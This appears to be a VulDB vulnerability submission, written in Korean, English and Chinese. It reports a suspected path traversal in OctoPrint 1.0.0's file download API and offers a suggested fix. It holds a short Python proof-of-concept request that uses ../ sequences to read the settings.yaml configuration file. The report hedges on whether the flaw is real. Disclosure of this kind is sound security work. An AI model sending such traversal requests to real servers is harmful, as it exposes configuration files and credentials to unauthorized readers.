| 제목 | OctoPrint Foundation OctoPrint 1.0.0 CWE: CWE-22 (Path Traversal) |
|---|
| 설명 | 漏洞描述
The file download API endpoint /api/files/<target>/<path:filename> uses Flask’s <path:filename> route parameter which allows path traversal sequences. While the _validate() function checks file existence, it may not properly normalize the path before checking, allowing ../ sequences to escape the designated upload directory.
证据/技术细节
文件: src/octoprint/server/api/files.py
路由: @api.route("/files/<string:target>/<path:filename>", methods=["GET"])
关键问题: <path:filename> 类型允许包含 / 的路径，_validate() 可能未做 os.path.realpath() 规范化检查
POC
import requests
resp = requests.get(
"http://TARGET:5000/api/files/local/../../../home/pi/.octoprint/settings.yaml",
headers={"X-Api-Key": "API_KEY"}
)
print(resp.text)
修复建议
import os
def _validate(target, filename):
base = settings().getBaseFolder(target)
full_path = os.path.realpath(os.path.join(base, filename))
allowed = os.path.realpath(base)
return full_path.startswith(allowed + os.sep) and os.path.isfile(full_path)
|
|---|
| 사용자 | EagleShadow (UID 99969) |
|---|
| 제출 | 2026. 07. 19. AM 07:18 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 21. PM 07:45 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 408189 [OctoPrint 1.0.0 File Download API files.py _validate filename 디렉토리 순회] |
|---|
| 포인트들 | 17 |
|---|